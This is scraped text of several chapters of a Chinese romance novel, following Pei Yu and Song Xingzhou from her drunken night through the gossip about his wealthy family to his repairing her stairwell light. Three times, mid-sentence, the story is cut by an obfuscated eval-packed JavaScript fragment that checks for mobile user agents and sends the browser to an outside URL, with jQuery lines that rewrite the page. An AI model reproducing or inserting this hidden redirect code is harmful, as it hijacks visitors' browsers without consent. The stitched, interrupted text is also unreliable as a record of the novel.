l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832901|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻声开口。 “我说了你就信啊?” “可你又没更正啊,而且看起来很认真的样子?” “你也一脸认真地说‘理想型要高学历’,不也没那么当回事么?” 他抬头看她,语气里夹着点无奈的自嘲。 “我在电厂做事,算是工人,但也不是你脑子里那种扛水泥的。我也骑电动车,图方便。但这和我有没有钱、受没受过教育、是不是一个‘值得你喜欢’的人,不是一码事。” 他没说出口的那句是:你喜欢的东西,我也许都能有,但你喜欢的人,也许未必就是我。 可他没说。他怕她现在太醉,听了也听不懂。 裴雨看着他,忽然咬了咬下唇。 “你还不肯说实话。” “我说了。” “你说了一半。” “因为我一开始也没觉得你会在意那么多。”他说着,站起来,“现在你在意了,我说的每一句话都会被你放在放大镜下去看。” 他走到窗边,拉开一点窗帘,月光斜斜地照进来。他背对着她,像是重新想了一遍怎么表达,才继续说: “我爸妈是老一代的工人。我大学上的不是什么211.985的名牌学校,毕业以后没去做研究,回了家,去电厂上班,一开始是在系统里做运行,三班倒的上班,现在调了项目。白天是做工没错,可不代表我没有另外的身份。只是你没问。” 裴雨轻轻地坐起身,靠着沙发靠背,视线落在他背上。 “我没有骗你。”他又补了一句,“只是我不想让那些你会在意的东西,变成你靠近我的理由。” 裴雨没说话。 他回过头来,看她。 “现在呢?”她问。 “你觉得我还会在意吗?” 他没回答她,只是一步步走回她面前,在茶几边缓缓蹲下,像是准备面对一场可能到来的辩论。 她也没等他说话,忽然伸手,手指捏住他的下巴,像是要逼他再一次说实话。 “你是不是其实……一点也不穷?” 宋行舟盯着她,没躲开她的手。 “还过得去。”他淡淡地说,“没有大富大贵,但也不至于捉襟见肘。” “那你为什么每天穿得那么破旧?” “那是工服。” “你为什么从不说你有车?” “你也没问。” 她忽然觉得有些委屈,说:“你知不知道我一直以为你……真的就是那种挣两三千,靠着把房子租出去的房租过日子的那种人?” 他沉默了一瞬,声音低低的:“我从没说谎。” 她的眼圈忽然就红了。 他顿了顿,伸手碰了碰她的脸。 “对不起。” “你不是穷。”她说,“你就是防备心太重。” “是啊。” 两人沉默了一会。 裴雨把脸埋进沙发靠垫里,过了很久,才小声嘀咕了一句:“我现在更晕了。” “胃里难受?” “不是。”她从垫子里抬起脸,声音闷闷的,“是脑子里……乱七八糟。” “那就别想了,睡会儿。” “你走了我怎么睡。” 他没再说话,只是又坐下来,靠在沙发一侧,陪着她。 夜深了,风吹着窗帘轻轻晃动,屋内暖黄的灯光将他们两人并排坐着的影子拉长,拉得很近,像是靠在了一起,又像彼此之间还隔着一点点微妙的距离。 35. 想要回到梦里 裴雨其实在那一刻有点儿恍惚。 她的手指还搁在手机屏幕上,指尖按着公司OA系统的请假按钮,凌晨三点三十三分,深夜的安静里除了她呼吸,还有宋行舟在她旁边低低的咳嗽声。他可能是冷了,小沙发不够宽,他又高大,窝着身体的时候脊背拱得高高的,像个被雨淋了整晚的大狗,头垂着,整个人缩在她的沙发角落。 那画面有点可怜,也有点……诡异的熟悉。 像她一个人生活这么久,偶尔某天累极了回到家,打开灯的一瞬间幻想自己有个人在屋里等她,然后那人懒懒地回过头,对她说一句“回来啦”。 她低头看着“请假成功”的提示弹窗发了会儿呆。 不是头痛,是脑子里还一团乱麻。酒精像一片混沌的棉花,将所有心跳、血液、理智的流动都压得慢了一拍。她只记得自己抱着他不让走,只记得自己说了很多没头没脑的话,像是报复,又像是撒娇。 她不确定自己到底想干嘛。 不想他走,是因为……她怕自己喝醉之后一个人在家?还是因为他刚刚说的那些话突然砸得她心口疼?抑或只是因为,这个男人太镇定、太冷静、太自洽,让她总想试探他什么时候会被自己弄烦了。 可他没有。 真的没有。 他连皱眉都没皱一下,甚至还帮她把客厅的灯调暗,把茶几上的杂志收拾整齐,自己拉了条毯子坐在沙发上,垫着她闲置的小靠垫,不吭声地窝成一团。 他那么高,腿那么长,小沙发的长度最多让他平躺一半,他却没说一句嫌弃的话。 裴雨看着他,那种酒后的微醺开始变成一股心里难以说清的涩。 “你睡吧。”她嗓子哑得厉害。 宋行舟抬了抬眼皮,“你先。” “我睡不着。” “那闭会儿眼。” “你不困?” “有点。” “那你干嘛不睡?” 他勾了下嘴角,“你刚说你怕一个人,我要是现在睡着,你是不是还得再叫醒我一次?” “……” 她又窝回沙发上,抱着毯子,沉默。 其实客房是有的,也不是没有可以躺平的地方。但她不想让他去客房,也说不清为啥。就像她明明不困,却又不想和他说话,只想听着他坐在这儿,靠在沙发边不动,偶尔动动肩膀、发出点儿呼吸的声音。 她觉得这样安静,好像反而比两个人你来我往的说话更安心。 她靠在沙发扶手上,盯着他蹲在地上摆的水杯发呆。 “你明天不上班吗?”她问。 “调休。” “你还有调休?” “项目阶段性验收完了,最近轮流倒休。” “那你今天为什么还出门?” “你不也出门吗?” “……” 宋行舟看着她,忽然笑了一下,“怎么,你以为我特意去堵你?” 裴雨眨了眨眼,没吭声。 “我哪有预知能力。”他慢吞吞地说,“我知道你几点出门,可我也不知道在酒吧……能碰上你。” “结果呢?” “结果你喝了这么多。”他声音低低的,有点无奈。 她想起宋行舟喂她喝温水的画面。 那会她还有点生气,但现在想想,她好像更想哭。 那瓶有些老旧的保温杯上好有些贴纸,像他的人一样,克制里透着一本正经的调侃。 她突然问:“你之前说你有前女友,是真的吧?” 宋行舟偏过头看了她一眼,没有立刻否认。 “是真的,”他说,“不过我现在又没有女朋友,前女友也是很久之前的事情了。” “那你怎么没谈?” “没遇上我愿意耗精力去喜欢的。” “那你现在呢?”她语气有点挑衅,“现在愿意了?” 宋行舟没接她的话,只是轻声问她:“你想听真话?” 她点头。 他低下头,沉默了一会儿,像在权衡什么,最后却只是轻轻说了句:“我想等你清醒的时候,再跟你说。” 裴雨忽然有点委屈。 “你是怕我醉了,明天就不认账了?” “不是。” “那你干嘛不说?” “因为我说了你也不一定听得进去。” 他靠在沙发侧面,一只胳膊撑着脑袋,声音低得像风吹过房梁。 “你太乱了,裴雨。” “你自己就不乱?” “我不乱。” “你骗人。” 宋行舟没回她。他像是真的有些困了,靠在墙边闭了会儿眼。裴雨盯着他的脸看,看了很久,发现他睫毛很长,鼻梁挺,嘴角也比平时温和,像是睡着的时候才会显露一点少年的样子。 她忽然小声说了句:“你以前……是不是过得挺好的?” “嗯?” “就你家,或者你小时候。” 他睁开眼,抬眸看她一眼,“怎么这么问?” “你身上有种……不穷人的自信。” 他低低一笑。 “我爸是厂里工程师,挺早就把我送去寄宿学校。后来大学也顺利,找工作也没啥坎坷。我没吃过什么真正意义上的苦。也没真穷过。” 裴雨沉默了一下,然后问:“那你在电厂干嘛?不是有更好的选择?” “因为那是我爸在过的单位,而且我现在不是也不错。” “你是因为你爸?” “他退休的时候说,‘我干了一辈子,不图儿子回来接班,但你要真回来,也别让人觉得念了大学就高高在上’。”他轻声笑了笑,“所以我穿工装,跟大家一样骑电驴,管自己叫‘底层工人’。你当真了。” 裴雨心里忽然一阵酸。 她把脸埋进毯子里,声音闷闷的:“那你以后别再说自己是底层工人了。” “好。” “我会生气的。” “好。” 他答应得毫不迟疑。 裴雨却说不出是心安还是更委屈了。 屋子里慢慢安静下来,只有窗外的风还在轻轻拍着玻璃,时不时传来小区里猫叫一声。她裹着毯子坐在沙发上,头靠在沙发沿,眼皮一合一睁的,不知什么时候开始,就真的困了。 而宋行舟……还是没走。 她最后一个意识,是他的手轻轻拉了拉她搭落的毯子边角,替她盖好,然后低声说了一句:“晚安。” 像是说给她听,又像是说给自己听。 阳光透过半拉开的窗帘洒进来,斜斜地落在客厅地板上。空气里还残留着昨晚的酒气和那种久未通风的小屋独有的、混合着生活味道的潮湿气息。 裴雨是被阳光晒醒的。 她醒得很慢,脑袋里像塞了团棉花,迷迷糊糊的,整个人还半陷在昨夜那点恍惚里。她蜷着身体躺在沙发上,被毯子包着,手臂下一片温热,身体却有点僵硬,像是睡了一整晚没翻身。 天光透进来时,她甚至以为自己还在梦里。 梦里有一杯温水,有一个蹲在她身边轻声说话的人,还有一双握着始终没放下太多情绪的眼睛。 是宋行舟。 她努力睁开眼,看了一圈客厅。 安静的,只有她一个人。 他走了。 这念头让她忽然有点落空,胸口像被什么东西轻轻地掏了一下。 她撑起身体坐起来,靠在沙发上发了一小会儿呆,直到脑袋终于清醒了一些。然后,她才发现茶几上不知什么时候多了一张纸条,压在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834336|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平时摆手机的地方,上面还有个保温饭盒,盒盖盖得好好的,外面还用旧毛巾包了一圈,像是怕她被烫到。 她拿起那张纸条。 纸是干净的白纸,字迹仍然是他那种工整里带点随意的风格,像是平时拿笔太利落,又怕吓到谁似的特意放了点温柔在里面。 【饭在盒子里,豆腐汤、番茄炒蛋和煎饼,没调辣味。知道你早上不太能吃油腻的东西。保温最多两个小时,起来记得热一下。 你不用送我,我自己走了。 昨晚没睡好,下午还有个班会,先走了。 你要是真不舒服,请两天假。 ——宋】 裴雨看完,把纸条放回茶几上,又把饭盒慢慢地打开。 她其实不太饿,可能是昨晚喝得太多,胃里还有点泛酸。但那股熟悉的味道飘出来时,她却不由自主地咽了咽口水。 饭已经凉了。 豆腐汤上面结了一层薄薄的皮,番茄炒蛋里的蛋黄微微凝固,但味道还是熟悉的,像是她小时候外婆做过的那种——不加鸡精,只放一点糖和盐,番茄也没剥皮,就那么简单地下锅煸炒。 她忽然觉得鼻尖有点发酸。 这顿饭,很像他这个人。 克制、温和,又不带太多情绪波动,像是做饭之前就在脑子里排练过怎么下锅、怎么留温度——不是想讨好谁,也不是敷衍,而是因为他就是这样长大、这样生活的人。 她捏着筷子的手指微微抖了一下,还是没动。 就那样坐在沙发边缘,低着头看那一盒饭菜,看了好久。 他昨天到底什么时候走的?几点?她没听到开门声,没听到水壶响,也没看到他走出去的样子。她只记得他昨晚还在她面前,说话的声音不高,语气却一直都稳。 她靠着沙发,头仰在靠背上,看着天花板,过了一会儿,才终于叹了一口气,轻轻说了句: “宋行舟,你到底是什么人啊……” 像是问天花板,又像是问自己。 她不记得自己有多少年没这么混乱地过了一晚。她一直都很有分寸,喝酒也从不失控,更不会半夜拉着一个男人不让走。 可偏偏就是宋行舟。 她甚至没搞清楚自己对他到底是什么感情。 从一开始她是因为好奇,因为他和她认识的所有男人都不一样——他干净、克制、礼貌、分寸得体,甚至在她挑衅他的时候都能维持住一种惊人的冷静。那样的冷静让她忍不住一次次想把他的界限打破,看他什么时候会情绪崩裂。 结果没有。 每一次,都是她自己先情绪失控。 她把饭菜盒合上,放进厨房的冰箱里,想着中午再热一下。 然后她去了洗手间洗了把脸,对着镜子看着自己惨白的脸色和略微浮肿的眼睛,忽然笑了一下。 “你真是疯了。” 她自言自语地说,然后甩了甩头发,擦干净水渍,拖着步子回到卧室。 手机放在床头,屏幕上跳出几个微信消息,大多是公司群里的工作安排,还有一个助理发来的请假审批成功的确认。 她点了点头,关掉手机,又重新窝回床上。 外面阳光渐渐亮了起来,楼下小区里的环卫工人开始清扫地面,吱吱呀呀的声音从窗外飘进来,让这个城市的清晨慢慢回归喧嚣。 而她,却忽然很想再睡一觉。 不是因为困。 只是因为她想再梦到昨晚。 梦里那个蹲在她身边的男人,手心温热,说话小心翼翼。 梦里,她好像没有这么乱,也没有这么害怕。 她闭上眼睛的时候,脑子里最后一幕,是宋行舟走之前蹲在她身边,轻声问她:“你到底想要做什么?” 而她竟然……还没有答案。 36. 他家条件好像挺不错的 裴雨的请假申请只批了一天。 她原本还想着或许多请一天也不奇怪,反正项目进度还没落到她头上,老板这几天在出差,人事那边也不可能专门管她请了几天假。但当她看到那条「请假审批通过」的提醒只写了24小时有效时,她却没有一点反抗的念头。 好像连那点争取的力气也没有了。 她就那么窝在沙发上,捧着手机看着那条通知,眼神有些空洞。茶几上的保温饭盒已经被她收进了冰箱,字条仍然放在原位,像是她刻意留下来的某种“现场证据”,又像是一个她迟迟不肯面对的提醒。 宋行舟已经走了。 没有再发任何消息,也没有试图联系她。 她手机一整天没有震动过。微信静默,通讯录像被封冻了一样。 她没有给林希回消息,也没有去群里刷存在感。所有人好像都默认她今天是“请假状态”,也没有主动来打扰她。助理发来一个“明天会议资料提前交”的提醒,她隔了很久才回了一个“知道了”。 她甚至不敢点开和宋行舟的对话框。 那行对话记录永远停留在几天前。 但他把她从酒吧带走,喂她喝水,做了饭,留了字条,然后离开——干脆、果断、不留缝隙。 她窝在家里,窝在自己的小屋里,从早到晚像一只把自己壳子盖得死死的乌龟。她没有点外卖,也没有下楼,就靠冰箱里现成的食物和剩下的饭菜熬了一天。 中午的时候她热了碗汤,喝了两口。 晚上又用电饭煲煮了一碗面,扔了几个青菜进去,胡乱搅了一搅,味道淡得几乎吃不出咸味,但她也没心思再调料了。 吃完后她又坐回沙发,看了一会儿没头没尾的综艺节目,电视机放着某个歌手参加选秀的片段,观众席尖叫,评委点评,欢快又热闹。 可那种热闹隔着屏幕扑过来时,她却只觉得聒噪。 她关掉电视,躺倒在沙发上,把毯子蒙住头,想睡。 睡不着。 手机不知什么时候又滑进了她的掌心。她一遍遍解锁,又一遍遍锁屏,拇指总是滑到通讯录那一栏,最后又默默划回主页。 林希给她发了几条消息: 【你那天晚上到底怎么了? 那是你朋友?看着不像…… 我朋友说你第二杯开始脸就红得吓人了,你是不是之前就没怎么吃饭? 裴雨?你到底在不在家?】 她看到这些字的时候有那么一瞬间想回复。 可她还是没有。 她不知道怎么解释,也不想解释。 说什么呢?说她醉了,说宋行舟是她莫名其妙喜欢上的一个男人,说她一晚上没让人走,但结果那人第二天人又不声不响地走了? 太丢脸了。 她裴雨从来不是个这么没主意、这么情绪化的人。 可现在她真的不知道怎么面对。 她怕一联系他,自己就会不由自主地问那些她原本不想问出口的问题。她怕他冷静、礼貌、不带情绪地回答每一个问题,像是在给一个陌生的客户答疑,而不是她。 她更怕自己从那些冷静里,听出一种真正的边界感。 所以她干脆不联系了。 逃避是软弱的,但也是最容易的方式。 她泡了个热水澡,躲在水汽里发了半小时呆,脑子里却什么都想不清楚。水流冲刷她的脊背时,她忽然有种错觉——她不是在洗澡,而是在试图洗掉昨天、前天,乃至过去这整整一个月的混乱。 可洗不掉。 宋行舟像是根钉子,钉进了她心里最柔软的一角,悄无声息地,但扎得她彻底没办法忽略。 他看起来明明没那么耀眼,穿着普通、沉默寡言,也不擅长表达情绪。可偏偏就是这样的人,让她第一次觉得自己可能会陷进去,陷得不像自己。 她也讨厌这种不像自己的感觉。 凌晨两点,她还没睡。 她躺在床上,望着天花板,脑子空白,却怎么也静不下来。酒劲早过了,宿醉的后遗症倒是还残留着,太阳穴隐隐作痛,她干脆起身倒了杯水,又在窗边站了一会儿。 夜风轻轻地吹进来,小区已经全黑了。 她终于咬咬牙,回到床上,把手机调成飞行模式,蒙头睡觉。 这一觉没有梦。 像是全身被抽空了什么,也像是一种本能性的休眠。 第二天早上闹钟响起时,她迟了十分钟才起身。眼睛肿了一点,脸色还苍白,但整个人已经恢复了一点力气。 她洗漱完、换了件简单的西装外套,对着镜子补了点粉底遮住眼圈,提着包出门。 重新踩上那条熟悉的通勤路时,她还是忍不住扫了眼路边的车道。 没有他的电动车。 当然也没有他的身影。 她轻轻叹了口气,把目光移开,踩着高跟鞋,一步步走进了城市的早高峰。 生活重新开始运转,仿佛那一夜只是她一个人的错觉。 请假一天后,裴雨重回办公室,阳光穿过半掩的百叶窗打在她的办公桌上,落出斑驳的一层淡影。 她走进去时,人已经到得差不多了,坐在各自的位置上忙碌,键盘敲击声此起彼伏,一如往常的节奏。助理小许见她来了,抬头跟她打了个招呼,眼神有些小心:“裴姐,早。” “嗯。”她点头,声音低了些,坐回工位。 打开电脑的瞬间,她看了一眼屏幕右下角的时间,离上午会议还有二十多分钟。她从包里拿出随身的小瓶喷雾,在脸上轻轻喷了一下,借着镜面的反光补了口气色,看起来比前一天好了一点。 可事实上,连她自己都知道——这只是表面的伪装。 她心里像被沉甸甸的东西堵着,透不过气。 林希是在她刚泡好第一杯咖啡、还没拿起时过来的。 她那天穿了一条贴身的针织裙,外头搭着常穿的西装外套,唇色依旧艳,眼妆却化得比平常淡了些。脚步踩得轻快,端着咖啡杯坐到了她对面。 “你终于来了。”她笑着说,“昨天问你你都不回我,我还以为你醉得出什么事了。” 裴雨低头抿了一口自己杯里的咖啡,苦涩刚好压过心底的烦躁,轻声:“手机静音了,没看。” 林希挑眉,似乎没打算计较,慢悠悠地搅拌着咖啡:“你那天是真的醉了。” “……嗯。” “幸好有人接你。”她若无其事地开口,“要不是宋行舟,我那几个朋友都不知道该怎么送你回去。说真的,我也是后来才知道你们认识。” 裴雨手指一顿,杯沿碰在桌面的声音轻微得像一滴雨。 她没说话,只是抬眼看向林希,带着一点莫名的提防。 林希却只是笑,眼神从她脸上掠过,像是在观察反应,又像是随口聊天:“你跟他是……熟人?还是?” “……不是很熟。”裴雨垂下眼帘,语气尽量平淡。 “可他那天看着挺担心你的啊。” 林希盯着她看,语气很轻,却不像单纯的好奇,倒像是一种温柔的剖析:“你喝多了都快摔了,他扶得很快,那姿势我看了都眼熟— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840843|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —你知道吗,宋行舟其实平常挺冷的,跟我那帮朋友也都没怎么混过,算是面熟,但大家不太接触。那天他会那么主动,我还挺意外的。” 裴雨没回答。 她低着头,一点一点搅拌杯里的咖啡,心却像被人拿细针在缝,一针一线,都落在了最敏感的地方。 林希似乎是等她说话,但没等来,便换了个角度。 “你知道吗,”她忽然笑了下,声音压低了些,像是随意提起八卦,“其实宋行舟家里条件还挺好的。他堂哥你可能听过,宋远泽,在魔都投行圈也算小有名气。他们家以前住在静安那边,后来搬去外环了,父母好像早年投资了点房产,现在赚翻了。” 她每说一句,裴雨的眉心就紧一分。 “而且他那辆车啊,你那天可能没注意,我朋友说是B家比较冷门的一款,配置挺高的,落地得六十多万吧。”林希微微耸肩,像是在调侃,“就他平常那个工装打扮,真看不出来会开那种车。” 空气沉寂了一瞬。 裴雨终于开口,声音有些哑:“你是怎么知道这些的?” “你以为我们那些朋友都是真混酒的啊?”林希轻笑,“有好几个都是在本地金融圈的,而且本来以前就认识,或多或少都有些了解。” 她又顿了顿,语气没什么起伏:“所以我才说嘛,他来接你那天,真的挺意外的。” 裴雨喉咙干涩,握着杯子的手指微微发紧。 她脑子里像过电影似的,把宋行舟那些日常的影像逐一倒带。 他穿深色工作服,袖口有旧油印。他常常背个黑色斜挎包来去匆匆,说自己是电厂的底层工人。他骑电动车,偶尔会从包里掏出饭盒,说是自己早上做的午饭。 她从来没怀疑过这些。 但现在…… 他坐在她沙发上的身影忽然变得沉默了起来。他在昏黄灯光下帮她热饭的背影变得模糊。他说话时的那种含蓄与沉稳,忽然让她感到一点陌生。 “你知道他背景不错,却还是觉得他挺冷的?”裴雨忽然开口,语气有些低。 林希眨了眨眼:“背景好,不代表他爱社交。他就是那种,圈子干净,行事低调的人。” “你们……你和他之前见过很多次?” “算不上很多。”林希摇头,“以前碰过几回,聚会里偶尔遇见。但他基本不说话,不掺和。” “那为什么他那天……” “我不是也在纳闷这个嘛。”林希笑笑,语气轻巧,“所以我才来问你啊,他跟你什么关系。” 裴雨没有回答。 但她已经知道——从林希嘴里听到的这一切,比宋行舟的任何一句话都更让她震惊。 他从来没有主动告诉过她这些。 不是因为她不在意,而是因为她从没问过。 她一度以为,自己喜欢他,是不带附加条件的,是发自本能的靠近和心动。但现在林希轻描淡写一句“他家里条件还不错”,却让她忽然觉得自己是个被蒙在鼓里的傻子。 是啊。 她从前最看重的,是学历、能力、未来,是一个可以带她往前走的人。可她在宋行舟面前,从来没有问过他毕业于哪、做过什么、有没有过真正属于他的东西。 她只是在喜欢他,喜欢他的安静,喜欢他的眼神,喜欢他沉默中偶尔露出的那一点温柔。 可她真的了解他吗? 她不确定了。 林希还在说着什么,她已经听不进去了。 耳边嗡嗡作响,她只是低着头,手指收紧在掌心,咖啡早已冷透。 37. 别想太多 这一天下班的时候,已经快晚上九点半。 办公室的灯只剩下几盏应急照明还亮着,整层楼显得格外冷清。裴雨站在打印机前等着最后一份文件输出,靠在墙边,头发垂落在肩膀上,整个人都有些脱力。 请假一天的代价就是一整天都在补漏洞。邮件、审批、文档、会签……她连午饭都是叫了杯代餐咖啡就匆匆解决。现在好不容易搞定了所有事,脑子却像塞了棉花一样空,连思考的力气都没有。 打印机发出最后一声“哔”,纸张整齐地叠好落在托盘上。她机械地伸手取出,理了理边角,夹进文件夹里,再拎起包,朝办公室门口走去。 外面夜色已经沉了,天色早就黑透。她下楼走出办公楼,门口的保安正打着哈欠,见她走出来,礼貌地点了点头:“辛苦啦。” 她低声回了句“谢谢”,没有停留,径直走向地铁站。 从公司到家不过两站地铁的距离,但她今晚实在不想等车,还是叫了辆车。 车内安静,窗外的城市依旧灯火璀璨。她看着那些霓虹灯一闪一闪,脑子里却什么都没装,只是放空。一路上,她都没怎么说话,连司机想找她聊两句,她也只是点头或摇头,含糊应答。 二十多分钟后,车停在了她住的小区门口。 她刷了门禁进了单元楼,刚一进门,就察觉出有些不对。 楼道里很安静,像往常一样。但那盏原本装在一楼楼梯口的感应灯,此刻正在一闪一闪地发出微弱的白光,像濒死前的灯芯。灯光断断续续,照亮的不过方寸之间,照得墙壁阴影重重,像有人藏在角落里,正悄无声息地看着你。 她顿了一下。 又向前走了两步,灯没亮,反而“啪”地一下彻底灭了。 一楼这一片彻底陷入黑暗。 她站在原地不动,手伸进包里摸手机。想用手机自带的手电筒照明,可屏幕刚亮起来,她才发现——电量只剩4%。她犹豫了一下,没敢开灯,怕万一开了灯筒,手机中途关机,她就彻底陷在楼道里了。 “……真倒霉。” 她轻声骂了一句,把手机收回包里。 没办法,只能硬着头皮往上走。 她住五楼,没电梯,平常倒不觉得麻烦,今晚这黑灯瞎火的,一楼都快成了鬼屋现场。她一步一步踩着楼梯上去,手扶着墙壁,指尖时不时碰到冰凉的墙皮和突出的铁钉,有些地方甚至有碎掉的腻子粉剥落在她的手心。 她咬牙撑着。 走到一楼到二楼的中间那段楼梯时,灯光更弱了,几乎完全是凭记忆在走。她用手机屏幕的微光照了一下脚下,踩准每一个台阶,小心地往上走。 整个楼道安静得过分。 她能听见自己呼吸的声音,心跳的声音,还有从楼上传来的某家电视声隐约的低语。 她在黑暗里缓慢地移动,每一步都踏得小心翼翼。高跟鞋踩在水泥地上,不再有节奏,而是一种不安定的响动。 她开始后悔今天回来得太晚。 本来也不是非加班不可,晚一点整理也来得及,可她不想让自己闲下来——闲下来,她就会想到那天晚上,想到宋行舟。 他把她送回家,在沙发上窝了一夜,第二天走时没发任何消息,只留了字条和饭菜。她以为至少……至少他会问她一句“醒了没”,但没有。 他一如既往地克制、沉默,仿佛什么都没有发生。 而她,不敢去找他。 一方面是因为林希的那番话打乱了她所有对他的认知,另一方面,是她有些害怕,怕从他嘴里听到和自己脑子里不同的解释。 她已经想不清自己到底在害怕什么了。 这一刻,在这个楼道的黑暗里,那种说不清的情绪变得更明显。像是困在一个密闭空间里,所有声音都被削弱,只有心跳越来越快,胸腔越来越闷。 她走到二楼楼梯口时,停了一下,喘了口气。 黑暗中,她扶着栏杆站定,隐隐能看见二楼走廊尽头那户人家的门缝透出点光。 这点光让她稍微安心了一点。 她手心都是汗。 裤脚扫过墙角,碰到了什么纸团,轻轻“咯吱”一声,她整个人吓了一跳,猛地顿住。耳朵嗡嗡地响,心跳忽然跳得很快——她太累,情绪太满,在黑暗里被无限放大。 她站在原地,好一会才缓过来。 二楼的楼道还是一片漆黑,但有光的地方终究在不远处。她站了一会,终于吸了口气,继续往三楼走去。 三楼的楼梯口似乎有一丝亮光。 裴雨一开始以为是自己眼花了,又揉了揉眼睛看,确实没看错。那光不像是楼道的灯光,而像是某种便携式手电发出来的,不是从头顶洒下来的,而是从上面某个地方,一点点漏了下来,晃晃悠悠地,像是有人正在做什么事情。 她皱了皱眉。 灯坏了不稀奇,楼道灯老是出问题她也习惯了,可这个点了还有人在修?物业么?不太像。 她一边想着,一边小心地扶着栏杆上楼,步子依旧缓慢而小心。 黑暗的楼道让人的感觉被放大了许多。墙壁粗糙的触感、空气中淡淡的水泥味,甚至她呼吸时鼻腔里的一点干涩,都比平时敏感。她越往上走,心里越奇怪,也越发警觉——那种奇妙的预感好像在心口鼓动着,一点一点地推着她上去。 快到三楼时,她下意识放慢了脚步。 那个亮光的来源终于露出了些许轮廓。 在三楼与四楼之间的拐角处,一个黑影背对着她蹲着,拿着个手电筒,筒口夹在肩膀和脖子之间,正专注地用工具拧着什么。旁边斜靠着一把简易人字梯,梯子下方是一个小工具箱,散落着几根电线和备用灯泡。 她看得出神,下意识地往前迈了一步,没注意到脚下有东西——也许是那把梯子脚边没收好的电线,也许是某个工具滑落出来了,总之她突然脚下一绊,整个人扑了上去。 “哎——!” 她惊叫出声,心里一跳,整个人向前倾去。 本以为会摔个结结实实,没想到在几乎同时,她撞到了一样冰冰凉的东西。 砰地一声,额头狠狠磕在一只手臂上——那人的手上戴着金属感的手表,腕骨坚硬又带着凉意,她疼得眼泪差点冒出来,整个人踉跄两步,后背撞在了墙上,狼狈不堪。 “你——” 她惊魂未定,眼睛适应了一些光亮后,才终于看清了那人的模样。 是宋行舟。 他站在那里,穿着一身深灰色的便服上衣,袖子挽到小臂,露出手腕上那块看上去有些旧但保养得极好的机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847467|173816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 械表。他的头发比平常要有些乱,手里还拎着工具,似乎刚从梯子上下来没多久。 他也显然被她的叫声吓了一跳,手电照在她脸上时,一瞬间没认出她来,等看清后眉头顿时皱了起来。 “怎么是你?” 他的声音一如既往的沉静,但那句“你”尾音带着点压不住的惊讶和紧张。 裴雨被撞得额角发疼,声音都有些颤:“我还想问怎么是你……你干什么呢?这么晚了你……你在这修灯?” 宋行舟看了她一眼,没回答她的问题,而是先一步伸手过来,语气低低的:“摔到没有?让我看看。” 她下意识往后一缩,有点迟疑地别开脸,但还是被他捏住了下巴。 他用手电筒照着她的额角,眼神微微一凝:“撞红了。” 裴雨耳根微热,别开头,“不碍事。” “下次走路看着点。”宋行舟皱了皱眉,声音低低的,“灯坏了我刚准备修,还以为这个时间没人了。” 裴雨靠着墙壁缓了几秒,才又问了一遍:“你……怎么会修这个?” 宋行舟没有正面回答。他蹲下身继续理那些散落的工具,一边说:“楼里没人管,物业推来推去,一直说要修,说了一天都没人动。我买了灯泡和线路,反正也不是很复杂,能修。” 他说得轻描淡写,好像这只是吃饭洗碗一样的日常。 裴雨沉默了几秒,看着他那个蹲在三楼楼道昏暗角落里的身影。 那双手她不是没见过——修电工这种事,要一定的专业性,尤其是在没有图纸的老旧楼道里操作,她不信是随便一个“电厂一线工人”就能做的事。他每一次动作都冷静、迅速,不像是在临时学,也不像第一次做。 她忽然有些出神。 这么晚了,他来修灯,连她都吓了一跳。他到底是为谁修呢?为整栋楼?为她?为自己? “宋行舟,”她轻声叫他,“你是不是……早就知道灯坏了?” 他没应声,只是继续拧着线路,像没听见她的话。过了几秒,他才慢悠悠道:“知不知道又怎样。” 她怔了一下。 那一瞬间,心里像被什么轻轻搅了一下,不痛,但酸。 “你专门为我修的?” 他停下手里的动作,没有看她,眼神淡淡:“别想太多。” “……哦。” 她垂下眼睛。 但那一声“别想太多”,反而像是无声地承认。 她不再说话,站在一边看着他继续忙碌。他将电线连接好,把新的灯泡装上,再爬上梯子检查线路,一整套动作干净利落。几分钟后,楼道里终于亮起了久违的白光,虽然不甚明亮,但至少不再是伸手不见五指的黑。 灯光下,宋行舟站在梯子上,居高临下地看她,像是在确定她有没有再摔倒。 “好了。” 他跳下来,收起工具箱,扭头问她:“你还上去吗?送你。” 她愣了愣,点头:“……嗯。” 她跟在他身后一起往四楼走。 